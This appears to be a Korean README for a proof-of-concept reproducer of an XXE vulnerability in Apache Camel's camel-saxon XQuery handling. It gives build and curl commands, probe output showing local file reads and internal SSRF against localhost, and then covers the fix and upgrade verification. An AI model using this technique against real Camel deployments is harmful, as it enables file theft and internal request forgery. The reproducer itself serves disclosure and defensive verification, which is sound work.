
CVE-2026-90885에 대한 실행 가능한 개념 증명 재현기로, Apache Camel camel-saxon XQuery의 XXE(CWE-611) 취약점을 다루며, Spring Boot 및 Quarkus 빌드와 수정 검증을 포함합니다.
Source에 대한 XQuery가 Saxon의 기본값으로 파싱됨 (XXE)camel-saxon의 XQueryBuilder — xquery language와 xquery component 모두에 대해 표현식을 평가하는 — 가 기본 Saxon Configuration을 공백 제거 규칙만 포함한 파싱 옵션으로 빌드하여 XML 파서를 기본값 그대로 두었고, 그 결과 DOCTYPE 선언이 허용되고 외부 엔티티가 해석되는 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현기입니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Spring Boot에 4.22.1을 사용하는 이유: 수정 사항은 4.22.1이 릴리스된 이후에야
camel-4.22.x로 백포트되었으므로, 4.22.1이 해당 라인의 마지막 영향을 받는 릴리스이고 4.22.2가 첫 번째 수정 릴리스입니다. 4.22.1을 고정하면 그 경계가 재현기의 핵심 지점이 됩니다.
String, byte[], InputStream 본문은 Camel 자체의 XML 타입 변환기에 의해 javax.xml.transform.Source로 변환되며, 이 변환기는 외부 엔티티에 대비해 파서를 구성합니다 — 해당 본문들은 영향을 받지 않았습니다. 이미 Source였던 본문은 변경 없이 Saxon에 전달되었고, 스트림 기반 Source는 여전히 파싱되어야 하므로 Saxon은 해당 기본 Configuration으로 이를 파싱했습니다.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
영향을 받는 빌드에서의 출력(두 런타임 모두 동일):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
실제로 중요한 것은 프로브 5입니다. 송신자는 일반 XML 텍스트를 게시합니다. 이는 프로브 4에서 보듯이 영향을 받지 않는 본문 형태입니다. 그런 다음 라우트는 표현식이 실행되기 전에 convertBodyTo(Source.class)를 수행하며, 이것만으로 본문이 영향을 받는 경로로 이동합니다. 공격자가 만든 Source도, 특이한 컴포넌트도, 기본값이 아닌 옵션도 없습니다. 라우트에서의 평범한 변환 단계 하나가 전체 전제 조건입니다. 권고문은 이 사례를 명시적으로 언급하며, 라우트 앞부분의 컴포넌트나 프로세서가 본문을 스트림 기반 Source로 설정하는 경우도 함께 언급합니다.
프로브 1–3은 Source를 직접 전달하여 도달하는 동일한 결함이며, 이는 라우트 앞부분의 컴포넌트가 수행할 작업입니다.
잘못 구성된 것은 없습니다. configuration 옵션도, 파서 설정도 없으며, 표현식은 아무것도 읽지 않습니다:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
공격자는 평가 대상이 되는 XML 문서만 제어합니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-saxon (XQueryBuilder, xquery 언어 및 xquery 구성 요소에서 사용됨) |
| CWE | CWE-611 (XML 외부 엔터티 참조의 부적절한 제한) |
| 심각도 | 높음 |
| 공격 벡터 | XQuery 표현식에 이미 빌드된 스트림 기반 Source로 도달하는 XML 내의 외부 서브셋을 가진 DOCTYPE 또는 외부 엔터티 |
| 영향 | Camel 프로세스가 읽을 수 있는 파일 읽기; 프로세스가 문서에 명시된 호스트로 요청을 보내도록 만들기 |
| 영향받는 버전 | 4.0.0부터 4.18.5 이전, 4.19.0부터 4.22.2 이전 (해당 코드 경로는 4.0 이전에 존재하며 2.x/3.x에도 있었음) |
| 수정된 버전 | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| 크레딧 | Leon Zlobecki |
권고: https://camel.apache.org/security/CVE-2026-90885.html
CVE-2026-85250과 동일한 문제가 아닙니다. 해당 문제는
camel-xpath의documentType=InputSource에 관한 것으로 4.18.5, 4.22.1 및 4.23.0에서 수정되었습니다. 둘 다 기본 파서 강화를 우회한 입력 경로이지만 서로 다른 구성 요소이며 어느 수정도 다른 쪽을 해결하지 못합니다 — 특히 4.22.1은 CVE-2026-85250을 해결하지만 이 문제는 해결하지 못합니다.
XQueryBuilder는 이제 기본 Configuration을 disallow-doctype-decl을 활성화하고
external-general-entities, external-parameter-entities 및
load-external-dtd를 비활성화하는 파싱 옵션으로 빌드하여, Source 본문을 Camel의 XmlConverter가
이미 String, byte[] 및 InputStream 본문에 적용하던 강화된 파서와 일치시킵니다.
이 변경 사항은 가시적이며 4.23 업그레이드 가이드에 기록되어 있습니다: XQuery에 이미 빌드된 Source로 도달하며
DOCTYPE을 포함하는 본문은 이제 파싱 오류와 함께 거부되지만, DOCTYPE이 없는 본문은
영향을 받지 않습니다.
기본 Configuration만 강화됩니다. 엔드포인트나 언어의 configuration 옵션을 통해,
또는 XQueryBuilder.setConfiguration을 통해 제공된 것은 그대로 사용됩니다 — 따라서 DOCTYPE 또는 외부 엔터티 처리가
실제로 필요한 배포는 이를 유지할 수 있으며, 다른 이유로 자체 Configuration을 제공하는 배포는
동일한 파싱 옵션을 직접 적용해야 합니다.
main에서 apache/camel#26344로 수정되었으며
(9c23b686), camel-4.22.x에 #26728로
(0d0ed8bb), camel-4.18.x에 #26730로 (ed513f3a) 백포트되었습니다.
camel.version을 4.22.2(Spring Boot)로 설정하거나, 두 플랫폼 버전을 모두 Camel 4.22.2 이상을 포함하는
Camel Quarkus 릴리스로 설정한 후 다시 실행하십시오. 4.22.1 → 4.22.2에 대해 검증됨:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same
Requests the XML parser made to internal endpoints on its own: []
>>> NOT reproduced: external access was denied.
업그레이드 전에 알아두면 좋은 점: 4.22.2에서 프로브 4는 같은 방식으로 실패합니다. 영향을 받는 빌드에서 해당
컨트롤은 빈 결과를 반환했습니다 — 엔티티가 단순히 해석되지 않았을 뿐, 오류는 없었습니다. 이 하드닝은
기본 Configuration 전체에 적용되므로, 이제 XQuery는 DOCTYPE을 포함한 모든 본문을 거부합니다. 처음부터
영향을 받지 않았던 String 본문까지 포함해서 말입니다. DOCTYPE이 없는 문서는 어느 쪽이든 영향을 받지 않습니다.
배포 환경에서 DOCTYPE을 포함한 XML을 XQuery에 정당하게 공급해야 한다면, configuration 옵션을 통해
자체 Configuration을 제공하십시오 — 그렇게 제공된 것은 그대로 사용됩니다.
이 저장소는 교육 및 방어 목적으로 게시되었습니다: Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드로 문제가 해결되는지 검증할 수 있도록 돕기 위해서입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.